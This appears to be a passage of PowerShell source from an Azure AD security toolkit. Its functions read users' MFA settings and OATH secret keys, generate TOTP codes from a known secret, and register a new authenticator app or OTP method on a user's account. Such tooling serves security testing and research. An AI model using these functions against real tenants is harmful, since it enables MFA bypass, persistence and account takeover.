$body += """deviceName"": ""$($app.DeviceName)"","
|
||||
$body += """deviceTag"": ""$($app.DeviceTag)"","
|
||||
$body += """deviceToken"": ""$($app.DeviceToken)"","
|
||||
$body += """id"": ""$($app.Id)"","
|
||||
$body += """notificationType"": ""$($app.NotificationType)"","
|
||||
$body += """oathTokenTimeDrift"": $($app.OathTokenTimeDrift),"
|
||||
if([string]::IsNullOrEmpty($app.OathSecretKey))
|
||||
{
|
||||
$body += """oathSecretKey"": null,"
|
||||
}
|
||||
else
|
||||
{
|
||||
$body += """oathSecretKey"": ""$($app.oathSecretKey)"","
|
||||
}
|
||||
$body += """phoneAppVersion"": ""$($app.PhoneAppVersion)"","
|
||||
$body += """timeInterval"": $(if([string]::IsNullOrEmpty($app.TimeInterval)){'null'}else{$app.TimeInterval})"
|
||||
$body += "},"
|
||||
}
|
||||
# Strip the last comma
|
||||
$body=$body.Substring(0,$body.Length-1)
|
||||
$body += "]}}";
|
||||
|
||||
# Set the user agent
|
||||
$headers=@{
|
||||
"User-Agent" = ""
|
||||
}
|
||||
|
||||
try
|
||||
{
|
||||
# Set app details
|
||||
$results=Call-GraphAPI -AccessToken $AccessToken -Command "users/$UserPrincipalName" -Method PATCH -Body $body -Headers $headers
|
||||
}
|
||||
catch
|
||||
{
|
||||
# Get the error
|
||||
$err = $_.ErrorDetails.Message | ConvertFrom-Json
|
||||
|
||||
# Insufficient privileges etc.
|
||||
if($err.'odata.error'.message.value)
|
||||
{
|
||||
Write-Error $err.'odata.error'.message.value
|
||||
}
|
||||
else # Other errors
|
||||
{
|
||||
$property = $err.'odata.error'.values[0].value
|
||||
$error = $err.'odata.error'.values[1].value
|
||||
|
||||
Write-Error "$($property): $error"
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Mar 3rd 2020
|
||||
# Deprecated old version
|
||||
function Get-UserMFA2
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets user's MFA settings
|
||||
|
||||
.DESCRIPTION
|
||||
Gets user's MFA settings using Provisioning API
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
|
||||
|
||||
.Parameter UserPrincipalName
|
||||
User's principal name.
|
||||
|
||||
.Example
|
||||
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
|
||||
PS C:\>Get-AADIntUserMFA -AccessToken $at -UserPrincipalName user@company.com
|
||||
|
||||
UserPrincipalName : user@company.com
|
||||
State : Enforced
|
||||
PhoneNumber : +1 123456789
|
||||
AlternativePhoneNumber : +358 123456789
|
||||
Email : someone@hotmail.com
|
||||
DefaultMethod : OneWaySMS
|
||||
Pin :
|
||||
OldPin :
|
||||
StartTime :
|
||||
#>
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$UserPrincipalName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get the user
|
||||
$user = Get-UserByUpn -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName
|
||||
|
||||
# Get user name from access token if empty
|
||||
if([string]::IsNullOrEmpty($UserPrincipalName))
|
||||
{
|
||||
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
|
||||
}
|
||||
|
||||
# Get the details and requirements
|
||||
$details = $user.StrongAuthenticationUserDetails
|
||||
$requirements = $user.StrongAuthenticationRequirements
|
||||
$appDetails = $user.StrongAuthenticationPhoneAppDetails
|
||||
|
||||
# Construct the attributes hashtable
|
||||
$attributes = [ordered]@{
|
||||
"UserPrincipalName" = $UserPrincipalName
|
||||
"State" = "Disabled"
|
||||
"PhoneNumber" = $details.PhoneNumber
|
||||
"AlternativePhoneNumber" = $details.AlternativePhoneNumber
|
||||
"Email" = $details.Email
|
||||
"DefaultMethod" =""
|
||||
"Pin" = $details.Pin
|
||||
"OldPin" = $details.OldPin
|
||||
"StartTime" = $null
|
||||
}
|
||||
if(![string]::IsNullOrEmpty($requirements))
|
||||
{
|
||||
$attributes["State"]=$requirements.StrongAuthenticationRequirement.State
|
||||
$attributes["StartTime"]=[DateTime]$requirements.StrongAuthenticationRequirement.RememberDevicesNotIssuedBefore
|
||||
}
|
||||
|
||||
$count=0
|
||||
foreach($app in $appDetails.StrongAuthenticationPhoneAppDetail)
|
||||
{
|
||||
$count++
|
||||
#$app=$appDetails.StrongAuthenticationPhoneAppDetail
|
||||
$attributes["App$count-AppAuthenticationType"]=$app.AuthenticationType
|
||||
$attributes["App$count-AppDeviceId"]=$app.DeviceId
|
||||
$attributes["App$count-AppDeviceName"]=$app.DeviceName
|
||||
$attributes["App$count-AppDeviceTag"]=$app.DeviceTag
|
||||
$attributes["App$count-AppDeviceToken"]=$app.DeviceToken
|
||||
$attributes["App$count-AppId"]=$app.Id
|
||||
$attributes["App$count-AppNotificationType"]=$app.NotificationType
|
||||
$attributes["App$count-AppOathTokenTimeDrift"]=$app.OathTokenTimeDrift
|
||||
$attributes["App$count-AppPhoneAppVersion"]=$app.PhoneAppVersion
|
||||
$attributes["App$count-AppTimeInterval"]=$app.TimeInterval
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
# Get the default method
|
||||
foreach($method in $user.StrongAuthenticationMethods.StrongAuthenticationMethod)
|
||||
{
|
||||
if($method.IsDefault.equals("true"))
|
||||
{
|
||||
$attributes["DefaultMethod"]=$method.Methodtype
|
||||
}
|
||||
}
|
||||
|
||||
# Return
|
||||
New-Object PSObject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Jun 24th 2020
|
||||
function Get-UserMFA
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets user's MFA settings
|
||||
|
||||
.DESCRIPTION
|
||||
Gets user's MFA settings using Provisioning API
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
|
||||
|
||||
.Parameter UserPrincipalName
|
||||
User's principal name.
|
||||
|
||||
.Example
|
||||
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
|
||||
PS C:\>Get-AADIntUserMFA -AccessToken $at -UserPrincipalName user@company.com
|
||||
|
||||
UserPrincipalName : user@company.com
|
||||
State : Enforced
|
||||
PhoneNumber : +1 123456789
|
||||
AlternativePhoneNumber : +358 123456789
|
||||
Email : someone@hotmail.com
|
||||
DefaultMethod : OneWaySMS
|
||||
Pin :
|
||||
OldPin :
|
||||
StartTime :
|
||||
#>
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$UserPrincipalName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Get user name from access token if empty
|
||||
if([string]::IsNullOrEmpty($UserPrincipalName))
|
||||
{
|
||||
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
|
||||
}
|
||||
|
||||
# Get the user information
|
||||
$user=Call-GraphAPI -AccessToken $AccessToken -Command "users/$UserPrincipalName" -QueryString "`$select=strongAuthenticationDetail"
|
||||
|
||||
# Get the details and requirements
|
||||
$details = $user.strongAuthenticationDetail.verificationDetail
|
||||
$requirements = $user.strongAuthenticationDetail.Requirements
|
||||
$appDetails = $user.strongAuthenticationDetail.PhoneAppDetails
|
||||
|
||||
# Construct the attributes hashtable
|
||||
$attributes = [ordered]@{
|
||||
"UserPrincipalName" = $UserPrincipalName
|
||||
"State" = $null
|
||||
"PhoneNumber" = $details.PhoneNumber
|
||||
"AlternativePhoneNumber" = $details.AlternativePhoneNumber
|
||||
"Email" = $details.Email
|
||||
"DefaultMethod" =""
|
||||
"Pin" = $details.Pin
|
||||
"OldPin" = $details.OldPin
|
||||
"StartTime" = $null
|
||||
"RelyingParty" = $null
|
||||
}
|
||||
# Check if we got details. If so, default the State to Disabled
|
||||
if($details)
|
||||
{
|
||||
$attributes["State"]="Disabled"
|
||||
}
|
||||
# Check if we got requirements and update.
|
||||
if($requirements)
|
||||
{
|
||||
$attributes["State"]=$requirements.state
|
||||
$attributes["StartTime"]=[DateTime]$requirements.rememberDevicesNotIssuedBefore
|
||||
$attributes["RelyingParty"]=$requirements.relyingParty
|
||||
}
|
||||
|
||||
$attributes["AppDetails"]=Parse-AuthApps -appDetails $appDetails
|
||||
|
||||
|
||||
|
||||
# Get the default method
|
||||
foreach($method in $user.strongAuthenticationDetail.methods)
|
||||
{
|
||||
if($method.IsDefault -eq "True")
|
||||
{
|
||||
$attributes["DefaultMethod"]=$method.Methodtype
|
||||
}
|
||||
}
|
||||
|
||||
# Return
|
||||
New-Object PSObject -Property $attributes
|
||||
}
|
||||
}
|
||||
|
||||
# Jun 30th 2020
|
||||
function Get-UserMFAApps
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Gets user's MFA Authentication App settings
|
||||
|
||||
.DESCRIPTION
|
||||
Gets user's MFA Authentication App settings using Azure AD Graph
|
||||
|
||||
.Parameter AccessToken
|
||||
Access Token of the user accessing Azure Active Directory to find the given user to get the SID
|
||||
|
||||
.Parameter UserPrincipalName
|
||||
User's principal name.
|
||||
|
||||
.Example
|
||||
PS C:\>$at=Get-AADIntAccessTokenForAADGraph
|
||||
PS C:\>Get-AADIntUserMFAApps -AccessToken $at -UserPrincipalName user@company.com
|
||||
|
||||
AuthenticationType : Notification, OTP
|
||||
DeviceName : SM-R2D2
|
||||
DeviceTag : SoftwareTokenActivated
|
||||
DeviceToken : APA91...
|
||||
Id : 454b8d53-d97e-4ead-a69c-724166394334
|
||||
NotificationType : GCM
|
||||
OathTokenTimeDrift : 0
|
||||
OathSecretKey :
|
||||
PhoneAppVersion : 6.2001.0140
|
||||
TimeInterval :
|
||||
LastAuthTime : 16/08/2020 10.12.17
|
||||
|
||||
AuthenticationType : OTP
|
||||
DeviceName : NO_DEVICE
|
||||
DeviceTag : SoftwareTokenActivated
|
||||
DeviceToken : NO_DEVICE_TOKEN
|
||||
Id : aba89d77-0a69-43fa-9e5d-6f41c7b9bb16
|
||||
NotificationType : Invalid
|
||||
OathTokenTimeDrift : 0
|
||||
OathSecretKey :
|
||||
PhoneAppVersion : NO_PHONE_APP_VERSION
|
||||
TimeInterval :
|
||||
LastAuthTime : 06/08/2019 11.07.05
|
||||
#>
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
$UserPrincipalName
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -ClientID "1b730954-1685-4b74-9bfd-dac224a7b894" -Resource "https://graph.windows.net"
|
||||
|
||||
# Get user name from access token if empty
|
||||
if([string]::IsNullOrEmpty($UserPrincipalName))
|
||||
{
|
||||
$UserPrincipalName = (Read-Accesstoken -AccessToken $AccessToken).unique_name
|
||||
}
|
||||
|
||||
# Get the user information
|
||||
$MFAinfo=Get-UserMFA -AccessToken $AccessToken -UserPrincipalName $UserPrincipalName
|
||||
|
||||
# Return
|
||||
return $MFAinfo.AppDetails
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Generates a new One-Time-Password for MFA with the given secret
|
||||
# Jun 26th 2020
|
||||
function New-OTP
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Generates a one-time-password (OTP) using the given secret.
|
||||
|
||||
.DESCRIPTION
|
||||
Generates a one-time-password (OTP) using the given secret. Can be used for MFA if the user's secret is known.
|
||||
|
||||
.Example
|
||||
New-AADIntOTP -SecretKey "rrc2 wntz dkbu iikb"
|
||||
|
||||
OTP Valid
|
||||
--- -----
|
||||
502 109 26s
|
||||
|
||||
.Example
|
||||
New-AADIntOTP -SecretKey "rrc2 wntz dkbu iikb" -Clipboard
|
||||
|
||||
OTP copied to clipboard, valid for 28s
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SecretKey,
|
||||
[switch]$Clipboard
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Strip the spaces
|
||||
$SecretKey=$SecretKey.Replace(" ","")
|
||||
|
||||
# Get the current time in seconds from 1.1.1970
|
||||
$now = [int]((Get-Date).ToUniversalTime() -$epoch).TotalSeconds
|
||||
|
||||
# Generate the OTP
|
||||
$OTP = Generate-tOTP -SecretKey $SecretKey -Seconds $now -TimeShift -15
|
||||
|
||||
# Copy to clipboard
|
||||
if($Clipboard)
|
||||
{
|
||||
"{0:000000}" -f $OTP | Set-Clipboard
|
||||
Write-Host "OTP copied to clipboard, valid for $(30-($now % 30))s"
|
||||
return
|
||||
}
|
||||
|
||||
# Return
|
||||
$otpFormatted = "{0:000 000}" -f $OTP
|
||||
|
||||
return New-Object psobject -Property ([ordered]@{"OTP" = $otpFormatted; "Valid" = "$(30-($now % 30))s"})
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Generates a new One-Time-Password secret
|
||||
# Jun 27th 2020
|
||||
function New-OTPSecret
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Generates a one-time-password (OTP) secret.
|
||||
|
||||
.DESCRIPTION
|
||||
Generates a one-time-password (OTP) secret.
|
||||
|
||||
.Example
|
||||
New-AADIntOTPSecret
|
||||
|
||||
njny7gdb6tnfihy3
|
||||
|
||||
.Example
|
||||
New-AADIntOTPSecret -Clipboard
|
||||
|
||||
OTP secret copied to clipboard.
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[switch]$Clipboard
|
||||
)
|
||||
Process
|
||||
{
|
||||
$RNG = [Security.Cryptography.RNGCryptoServiceProvider]::Create()
|
||||
[Byte[]]$x=1
|
||||
|
||||
for($secret=''; $secret.length -lt 16)
|
||||
{
|
||||
$RNG.GetBytes($x);
|
||||
if([char]$x[0] -clike '[2-7a-z]')
|
||||
{
|
||||
$secret+=[char]$x[0]
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Copy to clipboard
|
||||
if($Clipboard)
|
||||
{
|
||||
$secret | Set-Clipboard
|
||||
Write-Host "OTP secret copied to clipboard"
|
||||
return
|
||||
}
|
||||
|
||||
# Return
|
||||
return $secret
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Registers an authenticator app
|
||||
# Jul 1st 2020
|
||||
function Register-MFAApp
|
||||
{
|
||||
<#
|
||||
.SYNOPSIS
|
||||
Registers AADInternals Authenticator App or OTP app for the user.
|
||||
|
||||
.DESCRIPTION
|
||||
Registers AADInternals Authenticator App or OTP appfor the user.
|
||||
|
||||
Requirements for App:
|
||||
* AADInternals Authentication app is installed.
|
||||
* Device Token is copied from the app.
|
||||
* The user have registered at least one MFA method, e.g. SMS. This is because Access Token creation performs MFA.
|
||||
* Registration is done through https://mysignins.microsoft.com so "Users can use the combined security information registration experience" MUST be activated for the tenant.
|
||||
|
||||
.Example
|
||||
$deviceToken = "APA91bEGIvk1CCg1VIj_YQ_L8fn59UD6...mvXYxlWM6s90_Ct_fpo7iE3uF8hTb"
|
||||
PS C:\>Get-AADIntAccessTokenForMySignins -SaveToCache
|
||||
|
||||
Tenant User Resource Client
|
||||
------ ---- -------- ------
|
||||
9a79b12c-f563-4bdc-9d18-6e6d0d52f73b user@company.com 0000000c-0000-0000-c000-000000000000 19db86c3-b2b9-44cc-b339-36da233a3be2
|
||||
|
||||
PS C:\>Register-AADIntMFAApp -DeviceToken -$deviceToken -DeviceName "My MFA App" -Type APP
|
||||
|
||||
DefaultMethodOptions : 1
|
||||
DefaultMethod : 0
|
||||
Username : user@company.com
|
||||
TenantId : 9a79b12c-f563-4bdc-9d18-6e6d0d52f73b
|
||||
AzureObjectId : dce60ee2-d907-4478-9f36-de3d74708381
|
||||
ConfirmationCode : 1481770594613653
|
||||
OathTokenSecretKey : dzv5osvdx6dhtly4av2apcts32eqh4bg
|
||||
OathTokenEnabled : true
|
||||
|
||||
.Example
|
||||
PS C:\>Get-AADIntAccessTokenForMySignins -SaveToCache
|
||||
|
||||
Tenant User Resource Client
|
||||
------ ---- -------- ------
|
||||
9a79b12c-f563-4bdc-9d18-6e6d0d52f73b user@company.com 0000000c-0000-0000-c000-000000000000 19db86c3-b2b9-44cc-b339-36da233a3be2
|
||||
|
||||
PS C:\>Register-AADIntMFAApp -Type OTP
|
||||
|
||||
OathSecretKey DefaultMethodOptions DefaultMethod
|
||||
------------- -------------------- -------------
|
||||
5bhbqsrb6ft5rxdx 1 0
|
||||
|
||||
#>
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[String]$DeviceName="AADInternals",
|
||||
[ValidateSet("APP","OTP")]
|
||||
[String]$Type="APP"
|
||||
)
|
||||
Begin
|
||||
{
|
||||
# Define some variables
|
||||
$PfPaWs = "PfPaWs.asmx"
|
||||
$Version = "6.2001.0140" # Don't change this or Android version number. It should match the auth app version.
|
||||
}
|
||||
Process
|
||||
{
|
||||
try
|
||||
{
|
||||
# Get from cache if not provided
|
||||
$AccessToken = Get-AccessTokenFromCache -AccessToken $AccessToken -Resource "0000000c-0000-0000-c000-000000000000" -ClientId "1b730954-1685-4b74-9bfd-dac224a7b894"
|
||||
}
|
||||
catch
|
||||
{
|
||||
Throw "Access token not found! Call Get-AADIntAccessTokenForMySignins with SaveToCache switch."
|
||||
}
|
||||
|
||||
# Check that DeviceCode exists for APP
|
||||
if($Type -eq "APP" -and [string]::IsNullOrEmpty($DeviceToken))
|
||||
{
|
||||
Throw "Type APP requires DeviceToken"
|
||||
}
|
||||
|
||||
# Phase 1: Get the registration info (url, activation code, session context)
|
||||
$regInfo = Get-MFAAppRegistrationInfo -AccessToken $AccessToken -Type $Type
|
||||
if(!$regInfo) {
|
||||
Throw "Registration failed (phase 1)"
|
||||
}
|
||||
|
||||
if($Type -eq "APP")
|
||||
{
|
||||
# Phase 2: Send a new activation request
|
||||
$actInfo = Send-MFAAppNewActivation -AccessToken $AccessToken -RegistrationInfo $regInfo -DeviceToken $DeviceToken -DeviceName $DeviceName
|
||||
if(!$actInfo) {
|
||||
Throw "Registration failed (phase 2)"
|
||||
}
|
||||
|
||||
# Phase 3: Send confirmation
|
||||
$confResult = Send-MFAAppNewActivationConfirmation -AccessToken $AccessToken -ActivationInfo $actInfo -RegistrationInfo $regInfo
|
||||
if(!$confResult) {
|
||||
Throw "Registration failed (phase 3)"
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
$actInfo = New-Object psobject -Property @{ "OathSecretKey" = $regInfo.SecretKey}
|
||||
}
|
||||
|
||||
# Phase 4: Add the device to the user
|
||||
$verContext = Add-MFAAppAddDevice -AccessToken $AccessToken -RegistrationInfo $regInfo -Type $Type
|
||||
if(!$verContext) {
|
||||
Throw "Registration failed (phase 4)"
|
||||
}
|
||||
|
||||
# Phase 5: Get data updates (not needed)
|
||||
$updates = Verify-MFAAppAddDevice -AccessToken $AccessToken -RegistrationInfo $regInfo -VerificationContext $verContext -Type $Type
|
||||
if(!$updates) {
|
||||
Write-Warning "Couldn't get data updates."
|
||||
}
|
||||
|
||||
# Insert data update info to return value
|
||||
$actInfo | Add-Member -NotePropertyName "DefaultMethodOptions" -NotePropertyValue $updates.DefaultMethodOptions
|
||||
$actInfo | Add-Member -NotePropertyName "DefaultMethod" -NotePropertyValue $updates.DefaultMethod
|
||||
|
||||
# Return
|
||||
return $actInfo
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
+589
@@ -0,0 +1,589 @@
|
||||
# Creates an Oath counter
|
||||
# Jun 26th 2020
|
||||
function Get-OathCounter
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param()
|
||||
Process
|
||||
{
|
||||
$OathCounter = [int](((Get-Date).ToUniversalTime() - $epoch).TotalSeconds / 30)
|
||||
|
||||
return $OathCounter
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
|
||||
# Generates a new time-based OTP for MFA
|
||||
# Jun 26th 2020
|
||||
function Generate-tOTP
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SecretKey,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$Seconds=0,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$TimeShift=0,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$TimeStep=30,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$Digits=6
|
||||
)
|
||||
Process
|
||||
{
|
||||
if ($Digits -le 0)
|
||||
{
|
||||
$Digits = 6 # Can't be zero so default to six
|
||||
}
|
||||
|
||||
if($Seconds -le 0)
|
||||
{
|
||||
# Can't be zero so default to current time
|
||||
$Seconds = [int]((Get-Date).ToUniversalTime() -$epoch).TotalSeconds
|
||||
}
|
||||
|
||||
if($TimeStep -le 0)
|
||||
{
|
||||
$TimeStep = 30 # Can't be zero, so default to 30 seconds
|
||||
}
|
||||
|
||||
$Seconds = ($Seconds + $TimeShift) / $TimeStep
|
||||
|
||||
|
||||
[byte[]]$timeBytes = @( 0,0,0,0, # Integer has only 4 bytes so the first four are zeros
|
||||
[byte](([int]$Seconds -shr 24) -band 255),
|
||||
[byte](([int]$Seconds -shr 16) -band 255),
|
||||
[byte](([int]$Seconds -shr 8) -band 255),
|
||||
[byte]( [int]$Seconds -band 255)
|
||||
)
|
||||
return Generate-hOTP -SecretKey $SecretKey -timeBytes $timeBytes -Digits $Digits
|
||||
}
|
||||
}
|
||||
|
||||
# Generates a new HMAC based OTP for MFA
|
||||
# Jun 26th 2020
|
||||
function Generate-hOTP
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SecretKey,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$TimeBytes,
|
||||
[Parameter(Mandatory=$True)]
|
||||
[int]$Digits,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$Position = 0
|
||||
)
|
||||
Begin
|
||||
{
|
||||
$hOtpFullResult = 1073741840
|
||||
}
|
||||
Process
|
||||
{
|
||||
$divider=0
|
||||
if ($Digits -ge 1 -and $Digits -le 9)
|
||||
{
|
||||
$divider = [Math]::Pow(10, $Digits)
|
||||
}
|
||||
elseif ($Digits -eq $hOtpFullResult)
|
||||
{
|
||||
$divider = 0
|
||||
}
|
||||
else
|
||||
{
|
||||
throw "Only 1-9 digits are accepted!"
|
||||
}
|
||||
|
||||
# Calculate the hash using the secret as a key
|
||||
[byte[]]$decodedSecret = From-Base32String -Secret $SecretKey
|
||||
$HmacSHA1 = [Security.Cryptography.HMACSHA1]::new($decodedSecret)
|
||||
$hmacSize = 20
|
||||
$hash=$HmacSHA1.ComputeHash($TimeBytes)
|
||||
|
||||
|
||||
if ($divider -gt 0)
|
||||
{
|
||||
if ($Position -le 0 -or $Position -ge ($hmacSize - 4))
|
||||
{
|
||||
$Position = $hash[$hmacSize- 1] -band 15
|
||||
}
|
||||
|
||||
# Generate the OTP from the hash
|
||||
$retVal = ($hash[$Position] -band 127) -shl 24
|
||||
$retVal = $retVal -bor ($hash[$Position + 1] -band 255) -shl 16
|
||||
$retVal = $retVal -bor ($hash[$Position + 2] -band 255) -shl 8
|
||||
$retVal = $retVal -bor ($hash[$Position + 3] -band 255)
|
||||
$retVal = $retVal % $divider
|
||||
|
||||
return $retVal
|
||||
|
||||
}
|
||||
else
|
||||
{
|
||||
return Convert-ByteArrayToHex -Bytes $hash
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Generates a validation code
|
||||
# Jun 27th 2020
|
||||
function Generate-ValidationCode
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$SecretKey,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[int]$OathCounter=0
|
||||
)
|
||||
Process
|
||||
{
|
||||
if ($OathCounter -le 0)
|
||||
{
|
||||
$OathCounter = Get-OathCounter
|
||||
}
|
||||
|
||||
$validationCode = Generate-tOTP -SecretKey $SecretKey -Digits 1073741840 -Seconds ($OathCounter*30)
|
||||
return $validationCode.toLower()
|
||||
}
|
||||
}
|
||||
|
||||
# Converts Base32 string to bytes
|
||||
# Jun 26th 2020
|
||||
# Credits: HumanEquivalentUnit
|
||||
function From-Base32String
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$Secret
|
||||
)
|
||||
Process
|
||||
{
|
||||
$bigInteger = [Numerics.BigInteger]::Zero
|
||||
|
||||
foreach ($char in ($secret.ToUpper() -replace '[^A-Z2-7]').GetEnumerator()) {
|
||||
$bigInteger = ($bigInteger -shl 5) -bor ('ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'.IndexOf($char))
|
||||
}
|
||||
|
||||
[byte[]]$secretAsBytes = $bigInteger.ToByteArray()
|
||||
|
||||
|
||||
# BigInteger sometimes adds a 0 byte to the end,
|
||||
# if the positive number could be mistaken as a two's complement negative number.
|
||||
# If it happens, we need to remove it.
|
||||
if ($secretAsBytes[-1] -eq 0) {
|
||||
$secretAsBytes = $secretAsBytes[0..($secretAsBytes.Count - 2)]
|
||||
}
|
||||
|
||||
|
||||
# BigInteger stores bytes in Little-Endian order,
|
||||
# but we need them in Big-Endian order.
|
||||
[array]::Reverse($secretAsBytes)
|
||||
|
||||
return [byte[]]$secretAsBytes
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
# Converts Base32 string to bytes
|
||||
# Jun 26th 2020
|
||||
# Credits: HumanEquivalentUnit
|
||||
function To-Base32String
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[byte[]]$Secret
|
||||
)
|
||||
Process
|
||||
{
|
||||
$byteArrayAsBinaryString = -join $Secret.ForEach{
|
||||
[Convert]::ToString($_, 2).PadLeft(8, '0')
|
||||
}
|
||||
|
||||
$Base32Secret = [regex]::Replace($byteArrayAsBinaryString, '.{5}', {
|
||||
param($Match)
|
||||
'ABCDEFGHIJKLMNOPQRSTUVWXYZ234567'[[Convert]::ToInt32($Match.Value, 2)]
|
||||
})
|
||||
|
||||
return $Base32Secret
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Parses authentication apps data
|
||||
# Jun 27th 2020
|
||||
function Parse-AuthApps
|
||||
{
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
$appDetails
|
||||
)
|
||||
Process
|
||||
{
|
||||
|
||||
$apps=@()
|
||||
foreach($app in $appDetails)
|
||||
{
|
||||
$appAtributes = [ordered]@{
|
||||
"AuthenticationType"=$app.AuthenticationType
|
||||
"DeviceName"= $app.DeviceName
|
||||
"DeviceTag"= $app.DeviceTag
|
||||
"DeviceToken"= $app.DeviceToken
|
||||
"Id"= $app.Id
|
||||
"NotificationType"= $app.NotificationType
|
||||
"OathTokenTimeDrift"=$app.OathTokenTimeDrift
|
||||
"OathSecretKey"= $app.OathTokenSecretKey
|
||||
"PhoneAppVersion"= $app.PhoneAppVersion
|
||||
"TimeInterval"= $app.TimeInterval
|
||||
"LastAuthTime" = $(if($app.lastAuthenticatedTimestamp){[DateTime]$app.lastAuthenticatedTimestamp}else{$null})
|
||||
}
|
||||
|
||||
$apps+=New-Object psobject -Property $appAtributes
|
||||
}
|
||||
|
||||
return $apps
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
# Gets MFA App Registration information (i.e. url, activation code, and session context)
|
||||
# Jul 1st 2020
|
||||
function Get-MFAAppRegistrationInfo
|
||||
{
|
||||
|
||||
[cmdletbinding()]
|
||||
Param(
|
||||
[Parameter(Mandatory=$True)]
|
||||
[String]$AccessToken,
|
||||
[Parameter(Mandatory=$False)]
|
||||
[ValidateSet("APP","OTP")]
|
||||
[String]$Type="APP"
|
||||
)
|
||||
Process
|
||||
{
|
||||
# Create the headers
|
||||
$headers=@{
|
||||
"Authorization" = "Bearer $AccessToken"
|
||||
"Content-Type" = "application/json"
|
||||
"User-Agent" = ""
|
||||
}
|
||||
|
||||
# Registration type
|
||||
if($Type -eq "APP")
|
||||
{
|
||||
$securityInfoType = 2
|
||||
}
|
||||
elseif($Type -eq "OTP")
|
||||
{
|
||||
$securityInfoType = 3
|
||||
}
|
||||
|
||||
# Get the authorization information
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://account.activedirectory.windowsazure.com/securityinfo/Authorize" -Method POST -Headers $headers
|
||||
|
||||
# Strip the carbage from the start and convert to psobject
|
||||
$response=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json
|
||||
|
||||
# Extract the session context and update headers
|
||||
$sessionCtx = $response.sessionCtx
|
||||
$headers["SessionCtx"] = $sessionCtx
|
||||
|
||||
# Get the needed codes
|
||||
$response = Invoke-RestMethod -UseBasicParsing -Uri "https://account.activedirectory.windowsazure.com/securityinfo/InitializeMobileAppRegistration" -Method POST -Headers $headers -Body "{""securityInfoType"": $securityInfoType}"
|
||||
|
||||
# Strip the carbage from the start and convert to psobject
|
||||
$response=$response.Substring($response.IndexOf("{")-1) | ConvertFrom-Json
|
||||
|
||||
# Add the session context to return value
|
||||
